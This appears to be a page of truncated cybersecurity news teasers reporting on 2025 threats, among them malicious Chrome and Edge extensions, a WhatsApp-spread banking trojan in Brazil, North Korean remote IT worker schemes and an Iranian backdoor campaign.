As 2025 draws to a close, security professionals face a sobering realization: the traditional playbook for web security has become dangerously obsolete. AI-powered attacks, evolving injection techniques, and supply chain compromises affecting hundreds of thousands of websites forced a fundamental rethink of defensive strategies. Here are the five threats that reshaped web security this year, and

The China-based cyber-threat group has been quietly using malicious extensions on the Google Chrome and Microsoft Edge marketplaces to spy on millions of users.

The threat actor known as Water Saci is actively evolving its tactics, switching to a sophisticated, highly layered infection chain that uses HTML Application (HTA) files and PDFs to propagate a worm that deploys a banking trojan via WhatsApp in attacks targeting users in Brazil. The latest wave is characterized by the attackers shifting from PowerShell to a Python-based variant that spreads the

Koi Security exposes ShadyPanda, a group that used trusted Chrome/Edge extensions to infect 4.3 million users over 7 years for deep surveillance and corporate espionage.

After seven years of acting like normal add-ons, five popular Chrome and Edge extensions with millions of installs suddenly turned malicious.

A joint investigation led by Mauro Eldritch, founder of BCA LTD, conducted together with threat-intel initiative NorthScan and ANY.RUN, a solution for interactive malware analysis and threat intelligence, has uncovered one of North Korea’s most persistent infiltration schemes: a network of remote IT workers tied to Lazarus Group’s Famous Chollima division. For the first time, researchers managed

Israeli entities spanning academia, engineering, local government, manufacturing, technology, transportation, and utilities sectors have emerged as the target of a new set of attacks undertaken by Iranian nation-state actors that have delivered a previously undocumented backdoor called MuddyViper. The activity has been attributed by ESET to a hacking group known as MuddyWater (aka Mango

A threat actor known as ShadyPanda has been linked to a seven-year-long browser extension campaign that has amassed over 4.3 million installations over time. Five of these extensions started off as legitimate programs before malicious changes were introduced in mid-2024, according to a report from Koi Security, attracting 300,000 installs. These extensions have since been taken down. "These
